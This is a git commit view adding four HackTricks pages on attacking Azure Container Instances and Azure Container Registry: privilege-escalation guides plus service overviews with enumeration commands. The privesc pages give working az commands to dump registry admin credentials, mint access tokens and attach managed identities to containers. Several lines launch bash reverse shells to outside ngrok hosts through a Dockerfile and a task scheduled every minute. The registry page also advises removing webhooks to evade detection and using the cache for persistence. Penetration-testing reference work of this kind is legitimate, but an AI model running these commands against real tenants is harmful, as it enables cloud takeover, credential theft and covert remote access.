Merge branch 'HackTricks-wiki:master' into master

This commit is contained in:
Jaime Polop
2025-01-13 16:39:28 +01:00
committed by GitHub
6 changed files with 440 additions and 4 deletions

View File

@@ -0,0 +1,76 @@
# Az - Azure Container Instances Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances
Fore more information check:
{{#ref}}
../az-services/az-container-instances.md
{{#endref}}
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
These permissions allow the user to **execute a command** in a running container. This can be used to **escalate privileges** in the container if it has any managed identity attached. Ofc, it's also possible to access the source code and any other sentitive information storeed inside the container.
To execute a `ls` and get the output is as simple as:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
```
It's also possible to **read the output** of the container with:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Or get the logs with:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
These permissions allows to **attach a user managed identity** to a container group. This is very useful to escalate privileges in the container.
To attach a user managed identity to a container group:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
These permission allows to **create or update a container group** with a **user managed identity** attached to it. This is very useful to escalate privileges in the container.
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Moreover, it's also possible to update an existing container group adding for example the **`--command-line` argument** with a reverse shell.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,143 @@
# Az - Azure Container Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Fore more information check:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
This permission allows the user to list the admin credentials of the ACR. This is useful to **get full access** over the registry
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
In case the admin credentials aren't enabled, you will also need the permission `Microsoft.ContainerRegistry/registries/write` to enable them with:
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
These permissions allow the user to **create a new token** with passwords to access the registry.
To use the `az cli`to generate it as in the following example you will also need the permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
These permissions allow the user to **build and run an image** in the registry. This can be used to **execute code** in the container.
>[!WARNING]
> However, the image will be executed in a **sandboxed environment** and **without access to the metadata service**. This means that the container will not have access to the **instance metadata** so this isn't really useful to escalate privileges
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`
This is the main permission that allows to create and update a task in the registry. This can be used to **execute a code inside a container with a managed identity attached to it** in the container.
This is the example on how to execute a reverseh shell in a container with the **system managed** identity attached to it:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Another way to get a RCE from a task without using an external repository is to use the `az acr task create` command with the `--cmd` flag. This will allow you to run a command in the container. For example, you can run a reverse shell with the following command:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Note that to assign the system managed identity you don't need any special permission, although it must have been enabled before in the registry and assigned some permissions for it to be useful.
To assign a **user managed identity also** you would need the permission `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` to do:
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
To **update** the repo of an existent task you can do:
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`
With this permission it's possible to **import an image to the azure registry**, even without having the image locally. However, note that you **cannot import an image with a tag** that already exists in the registry.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
In order to **untag or delete a specific image tag** from the registry you can use the following command. However, note that you will need a user or token with **enough permissions** to do it:
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,47 @@
# Az - Container Instances
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Azure Container Instances (ACI) provide a **serverless, on-demand way** to run **containers** in the Azure cloud. You can **deploy** single or multiple containers in a group with **scalable compute**, **networking options**, and the flexibility to connect to **other Azure services** (like Storage, Virtual Networks, or Container Registries).
As they are **ephemeral** workloads, you don't need to manage the underlying VM infrastructure — Azure handles that for you. However, from an **offensive security perspective**, it's crucial to understand how **permissions**, **identities**, **network configurations**, and **logs** can reveal attack surfaces and potential misconfigurations.
### Configurations
- In order to create a container it's possible to use a public image, a container image from an Azure Container Registry or an external repository, which might **require to configure a password** to access it.
- Regarding networking it can also have a **public IP** or be **private endpoints**.
- It's also possible to configure common docker settings like:
- **Environment variables**
- **Volumes** (even from Azure Files)
- **Ports**
- **CPU and memory limits**
- **Restart policy**
- **Run as privileged**
- **Command line to run**
- ...
## Enumeration
> [!WARNING]
> When enumerating ACI, you can reveal sensitive configurations such as **environment variables**, **network details**, or **managed identities**. Be cautious with logging or displaying them.
```bash
# List all container instances in the subscription
az container list
# Show detailed information about a specific container instance
az container show --name <container-name> --resource-group <res-group>
# Fetch logs from a container
az container logs --name <container-name> --resource-group <res-group>
# Execute a command in a running container and get the output
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
# Get yaml configuration of the container group
az container export --name <container-name> --resource-group <res-group>
```

View File

@@ -0,0 +1,166 @@
# Az - Container Registry
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
Azure Container Registry (ACR) is a secure, private registry that lets you **store, manage, and access container images in the Azure cloud**. It integrates seamlessly with several Azure services, providing automated build and deployment workflows at scale. With features like geo-replication and vulnerability scanning, ACR helps ensure enterprise-grade security and compliance for containerized applications.
### Permissions
These are the **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) that can be given over a Container Registry:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
There are also some **built-in roles** that can be assigned, and it's also possible to create **custom roles**.
![](</images/registry_roles.png>)
### Authentication
> [!WARNING]
> It's very imporatant that even if the registry name contains some uppercase letters, you should always use **lowercase letters** to login, push and pull images.
There are 4 ways to authenticate to an ACR:
- **With Entra ID**: This is the **default** way to authenticate to an ACR. It uses the **`az acr login`** command to authenticate to the ACR. This command will **store the credentials** in the **`~/.docker/config.json`** file. Moreover, if you are running this command from an environment without access to a docker socket like in a **cloud shell**, it's possible to use the **`--expose-token`** flag to get the **token** to authenticate to the ACR. Then to authenticate you need to use as user name `00000000-0000-0000-0000-000000000000` like: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **With an admin account**: The admin user is disabled by default but it can be enabled and then it'll be possible to access the registry with the **username** and **password** of the admin account with full permissions to the registry. This is still supported because some Azure services use it. Note that **2 passwords** are created for this user and both are valid. You can enable it with `az acr update -n <acrName> --admin-enabled true`. Note that the username is usually yhe registry name (and not `admin`).
- **With a token**: It's possible to create a **token** with a **specific `scope map`** (permissions) to access the registry. Then, it's possible to use this token name as username and some of the generated password to authenticate to the registry with `docker login -u <registry-name> -p <password> aregistry-url>`
- **With a Service Principal**: It's possible to create a **service principal** and assign a role like **`AcrPull`** to pull images. Then, it'll be possible to **login to the registry** using the SP appId as username and a generated secret as password.
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
SERVICE_PRINCIPAL_NAME=$servicePrincipal
# Obtain the full registry ID
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Encryption
Only the **Premium SKU** supports **encryption at rest** for the images and other artifacts.
### Networking
Only the **Premium SKU** supports **private endpoints**. The other ones only support **public access**. A public endpoint has the format `<registry-name>.azurecr.io` and a private endpoint has the format `<registry-name>.privatelink.azurecr.io`. For this reason, the name of the registry must be unique across all Azure.
### Microsoft Defender for Cloud
This allows you to **scan the images** in the registry for **vulnerabilities**.
### Soft-delete
The **soft-delete** feature allows you to **recover a deleted registry** within the indicated number of days. This feature is **disabled by default**.
### Webhooks
It's possible to **create webhooks** inside registries. In this webhook it's needed to specify the URL where a **request will be sent whenever a push or delete action is performed**. Moreover, Webhooks can indicate a scope to indicate the repositories (images) that will be affected. For example, 'foo:*' means events under repository 'foo'.
From an attackers perspective it's interesting to check this **before performing any action** in the registry, and remove it terporarely if needed, to avoid being detected.
### Connected registries
This basically allows to **mirror the images** from one registry to another one, usually located on-premises.
It has 2 modes: **ReadOnly** and **ReadWrite**. In the first one, the images are only **pulled** from the source registry, and in the second one, images can also be **pushed** to the source registry.
In order for clients to access the registry from Azure, a **token** is generated when the conected registry is used.
### Runs & Tasks
Runs & Tasks allows to execute in Azure container related actions that you typically needed to do locally or in a CI/CD pipeline. For example, you can **build, push, and run images in the registry**.
The easiest way to build and run a container is using a regular Run:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
However, that will trigger runs that aren't super interesting from an attackers perspective cause they don't have any managed identity attached to them.
However, **tasks** can have a **system and user managed identity** attached to them. There tasks are the ones useful to **escalate privileges** in the container. In privileges escalation section it's possible to see how to use tasks to escalate privileges.
### Cache
The cache feature allows to **download images from an external repository** and store the new versions in the registry. It requires to have some **credentials configured** by selecting the credentials from an Azure Vault.
This is very interesting from a attacker's perspective because it allows to **pivot to an external platform** if the attacker has enough permissions to access the credentials, **download images from an external repository** and configuring a cache could also be used as **persistence mechanism**.
## Enumeration
> [!WARNING]
> It's very important that even if the registry name contains some uppercase letters, you should only use lowercase letters in the url to access it.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
az acr list
# Get the details of a registry
az acr show --name <registry-name>
# List tokens of a registry
az acr token list --registry <registry-name> --resource-group <res-group>
# List repositories in a registry
az acr repository list --name <registry-name> --resource-group <res-group>
# List the tags of a repository
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
# List deleted repository tags
## At the time of this writing there isn't yet any command to restore it
az acr repository list-deleted --name <registry-name>
# List tasks
## Check the git URL or the command
az acr task list --registry <registry-name>
# List tasks runs
az acr task list-runs --registry <registry-name>
# List connected registries
az acr connected-registry list --registry <registry-name>
# List cache
az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Privilege Escalation & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## References
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
{{#include ../../../../banners/hacktricks-training.md}}